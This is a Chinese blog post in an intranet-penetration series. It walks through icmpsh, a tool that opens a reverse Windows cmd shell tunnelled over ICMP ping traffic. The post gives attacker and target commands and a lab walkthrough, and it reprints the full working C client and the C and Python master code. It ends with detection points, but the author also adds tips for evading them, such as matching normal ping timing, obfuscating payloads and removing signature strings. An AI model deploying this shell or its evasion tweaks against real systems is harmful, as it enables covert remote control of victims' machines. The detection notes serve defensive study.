当前位置:网站首页>内网渗透系列:内网隧道之icmpsh
内网渗透系列:内网隧道之icmpsh
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究ICMP隧道的一个工具,icmpsh
github:https://github.com/bdamele/icmpsh
一、概述
1、简介
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
- 受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
- 主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。
条件:
- 目标机可以ping出来
- 目标机是windows
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度
3、使用
首先都要关闭内核对ping的响应:
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
icmpsh提供了以下选项:
-t host 必须的,客户端指定服务端
-r 发送 "Test1234" 字符串进行测试
-d milliseconds requests之间间隔毫秒级时间
-o milliseconds 设置毫秒级最大响应时间
-b num blanks的数量
-s bytes 最大数据缓冲区大小
服务端(攻击机)执行
python icmpsh_m.py <attacker's-IP> <target-IP>
客户端(目标机,win)执行
icmpsh.exe -t <attacker's-IP>
然后就建立了隧道
二、实践
1、场景
攻击机:kali 192.168.227.129
目标机:windows7 192.168.227.128
目标机能ping通攻击机
2、建立隧道
(1)攻击机
关闭内核对ping的响应并启动隧道:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128
(2)目标机
建立隧道
icmpsh.exe -t 192.168.227.129
(3)隧道建立成功
成功建立隧道并反弹shell
可以发现对中文名不友好
3、抓包看看
连接上迅速反弹shell
dir命令,发现是分散到每个心跳包里,限制了长度和频率
三、探索
1、源码与分析
(1)客户端
C语言
cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点
int verbose = 0;
// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si; //指定新进程的特性
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
//关闭内核对象out_read句柄的继承标志
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
}
void usage(char *path)
{
printf("%s [options] -t target\n", path);
printf("options:\n");
printf(" -t host host ip address to send ping requests to\n");
printf(" -r send a single test icmp request and then quit\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\n");
printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n");
}
void create_icmp_channel(HANDLE *icmp_chan)
{
// create icmp file
*icmp_chan = (HANDLE) icmp_create();
}
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}
int load_deps() //加载dll
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("failed to load functions (%u)", GetLastError());
return 0;
}
int main(int argc, char **argv)
{
int opt;
char *target;
unsigned int delay, timeout;
unsigned int ip_addr;
HANDLE pipe_read, pipe_write;
HANDLE icmp_chan;
unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size;
DWORD rs;
int blanks, max_blanks;
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK;
if (!load_deps()) {
printf("failed to load ICMP library\n");
return -1;
}
// parse command line options
for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') {
switch(argv[opt][1]) {
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc) {
target = argv[opt + 1];
}
break;
case 'd':
if (opt + 1 < argc) {
delay = atol(argv[opt + 1]);
}
break;
case 'o':
if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]);
}
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]);
}
break;
case 's':
if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]);
}
break;
default:
printf("unrecognized option -%c\n", argv[1][0]);
usage(*argv);
return -1;
}
}
}
if (!target) {
printf("you need to specify a host with -t. Try -h for more options\n");
return -1;
}
ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE) {
status = spawn_shell(&pi, &pipe_read, &pipe_write);
}
// create icmp channel
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("unable to create ICMP file: %u\n", GetLastError());
return -1;
}
// allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) {
printf("failed to allocate memory for transfer buffers\n");
return -1;
}
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop
blanks = 0;
do {
switch(status) {
case STATUS_SINGLE:
// reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\n");
break;
case STATUS_PROCESS_NOT_CREATED:
// reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\n");
break;
default:
// read data from process via pipe
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) {
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) {
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
}
}
} else {
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
}
break;
}
// send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) {
// write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
}
blanks = 0;
} else {
// no reply received or error occured
blanks++;
}
// wait between requests
Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK) {
TerminateProcess(pi.hProcess, 0);
}
return 0;
}
(2)服务端
主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送
C语言
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
rs = ~sum;
return rs;
}
int main(int argc, char **argv)
{
int sockfd;
int flags;
char in_buf[IN_BUF_SIZE];
char out_buf[OUT_BUF_SIZE];
unsigned int out_size;
int nbytes;
struct iphdr *ip;
struct icmphdr *icmp;
char *data;
struct sockaddr_in addr;
printf("icmpsh - master\n"); //这种特征性字符串可以删掉
// create raw ICMP socket
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) {
perror("socket");
return -1;
}
// set stdin to non-blocking
flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags);
printf("running...\n");
while(1) {
// read data from socket
memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) {
// get ip and icmp header and data part
ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1);
data[nbytes] = '\0';
printf("%s", data);
fflush(stdout);
}
// reuse headers
icmp->type = 0; //设为echo
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr;
// read data from stdin
nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes;
} else {
out_size = 0;
}
icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
// send reply
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) {
perror("sendto");
return -1;
}
}
}
}
return 0;
}
python
有个impacket包很厉害的样子
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
""" Make a file descriptor non-blocking """
# 同样使non-blocking
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # 收到的是reply
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
2、检测与绕过
(1)异常ICMP数据包数量
如图,心跳包0.2s一个
这个可以改为和ping的时间间隔一样
(2)payload内容
长度已经限制了
那么就是内容了确实是不同的
正常ping命令:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
这里混淆加密,会不会好点
(3)cmd进程
可以关注cmd进程是否被开启
(4)dll
可以关注几个dll的链接
结语
可以认为是很简单的icmp隧道了
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/118799784
边栏推荐
- Scrapy modifies the time in the statistics at the end of the crawler as the current system time
- Houdini terrain and fluid solution (simulated debris flow)
- C#控制相机,旋转,拖拽观察脚本(类似Scenes观察方式)
- 向量到一个平面的投影向量
- Unity 获取一个文件依赖的资源
- C# 读取注册表
- 三分钟教你用Houdini流体>>解算粒子流体水滴
- Unity screen adaptation
- Gets the maximum getmaxpoint in the list of all points
- SampleCameraFilter
猜你喜欢
Houdini > fluid, rigid body export, learning process notes
The page displays the current time in real time
MySQL8.0 安装/卸载 教程【Window10版】
Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
Scrapy 修改爬虫结束时统计数据中的时间为当前系统时间
Page dynamic display time (upgraded version)
SVG中Path Data数据简化及文件夹所有文件批量导出为图片
STO With Billing 跨公司库存转储退货
Towords Open World Object Detection
TA notes of Zhuang understand (VII) < Lambert + Phong + shadow + 3evcolor + Ao >
随机推荐
Dropping Pixels for Adversarial Robustness
KCD_EXCEL_OLE_TO_INT_CONVERT报错SY-subrc = 2
庄懂的TA笔记(零)<铺垫与学习方法>
Scrapy 修改爬虫结束时统计数据中的时间为当前系统时间
Unity 获取一个资源被那些资源引用
Samplecamerafilter
NodeJS(二)同步读取文件和异步读取文件
C#使用拉依达准则(3σ准则)剔除异常数据(.Net剔除一组数据中的奇异值)
Use of command line parameter passing library argparse
Nodejs (II) read files synchronously and asynchronously
UnityShader基础
Houdini fluid > > particle fluid export to unity note
ABAP ALV显示金额与导出金额不一致
解决在docker中部署mysql8, 密码正确但无法登陆MySQL问题
快速排序
Houdini terrain and fluid solution (simulated debris flow)
Towords Open World Object Detection
Personality charm of high paid it workers
将指定路径下的所有SVG文件导出成PNG等格式的图片(缩略图或原图大小)
Houdini流体>>粒子流体导出到unity笔记